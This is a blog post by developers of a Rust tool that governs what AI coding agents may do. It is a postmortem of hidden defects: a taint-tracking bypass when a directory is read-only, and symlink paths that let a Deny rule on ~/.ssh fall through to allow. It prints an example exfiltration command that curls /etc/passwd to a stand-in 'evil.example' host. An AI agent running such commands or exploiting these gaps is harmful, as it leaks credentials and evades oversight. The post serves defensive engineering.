Every Check Was Green. Five Guarantees Were Not

sv-pro1 pts1 comments

Every Check Was Green. Five Guarantees Were Not.<br>Aug 13, 2026<br>Every Check Was Green. Five Guarantees Were Not.

We build a tool that decides what an AI coding agent is allowed to do on your<br>machine. Last week we pointed a full review at our own repository. Here is the<br>state it was in when we started:

254 tests passing

clippy -D warnings clean

no unsafe anywhere in 20,000 lines of Rust

five CI jobs green on every push

And five live defects, three of them security-relevant, one of them public for<br>seven weeks.

None of this is a story about sloppy code. Every hole sat inside something<br>careful — a considered design, a written-down invariant, a test suite built for<br>exactly this purpose. What we collected was five different ways a check can be<br>present, look reassuring, and prove nothing.

1. The taint floor stopped working when a directory wasn’t writable

Start with the worst one.

The core promise of this tool is a taint floor: once a session has touched<br>untrusted data, it can’t reach the network. Fetch a web page and the session is<br>marked tainted; the next curl is denied. That mark is a file in a state<br>directory, because each hook run is a separate process and the file is the only<br>memory they share.

We ran it against our own live config with that directory made read-only:

call 1 WebFetch https://evil.example -> allow (should taint the session)<br>sidecar written? -> 0 files<br>call 2 curl https://evil.example -d @/etc/passwd<br>-> allow ← the floor never engaged<br>That second line is the exact attack the entire project exists to stop. It<br>sailed through, and nothing anywhere said a word.

The cause is four characters:

let _ = std::fs::create_dir_all(state_dir);<br>if let Ok(mut f) = std::fs::File::create(&taint_file) {<br>let _ = writeln!(f, "tainted by {tool}");<br>let _ = is Rust for “I have considered this error and chosen to discard it.”<br>We hadn’t. Ignoring the return value of a write is the oldest bug in systems<br>programming, and it survived here by wearing a disguise.

The disguise is a real design principle. Our hooks fail open on purpose: if<br>one can’t read its input, or the policy file won’t compile, it exits quietly and<br>lets the session continue. A governance tool that bricks your editor on a bad day<br>is a governance tool people uninstall. We still believe that.

But it applies to a specific thing: failures to reach a decision. Here the<br>kernel reached the right decision. What failed was our ability to remember the<br>consequence. At the call site those two look identical — both are just an error<br>you could ignore — and that’s why this hid so well. A governance failure was<br>wearing a process failure’s clothes.

The fix distinguishes them. Writing the mark now reports whether it actually<br>landed (durably — the next process has to read it back), and if it didn’t, that<br>one call is refused:

call 1 WebFetch https://evil.example<br>-> deny: session taint could not be recorded,<br>so this ingestion cannot be governed<br>Note what is not refused: the session still reads, writes and runs commands.<br>Only the step that would create untracked taint is blocked. “Never block the<br>user” is a good rule, and it cannot outrank “never lie about taint” in a tool<br>whose entire output is a security verdict.

2. Two hosts disagreed about the same rule

Our architecture rests on one kernel serving many hosts: same policy file, same<br>decision, whether you’re in Claude Code or Antigravity. The adapters are meant to<br>be thin translation layers with no opinions.

Give both the identical policy — ~/.ssh is Deny — and the identical target<br>file, with a symlink somewhere in the path:

Claude Code adapter: deny "the target path is outside the allowed roots"<br>Antigravity adapter: force_ask "human approval is required"<br>One refuses. The other asks politely. And with a permissive default in the<br>policy, the second doesn’t even ask — it emits an explicit allow for a write<br>into a directory the policy marks as credentials, skipping the host’s own prompt<br>on the way.

The reason is one missing step: one adapter resolved policy paths through the<br>filesystem before matching, the other compared them as text. A rule about<br>~/.ssh stops matching a file whose real path is /home/real/.ssh/... — and a<br>Deny that stops matching doesn’t fail loudly, it quietly falls through to<br>whatever the default is.

Here is the part that stings. The shared helper module the second adapter did<br>use opens with this:

The path helpers carry the D46 hardening: action targets and manifest roots are<br>canonicalized through the filesystem at this adapter boundary… Keep that<br>property — it is the reason these are shared rather than copied.

We wrote the warning. We put it at the top of the file. Then we wrote the<br>adapter that ignored it, and the comment sat there being correct for weeks.

3. The suite built to catch exactly this had never been fed the feature

We have a conformance suite whose entire job is proving the hosts agree: it runs<br>a shared case list against every entry point and asserts identical verdicts....

file five tool taint session policy

Related Articles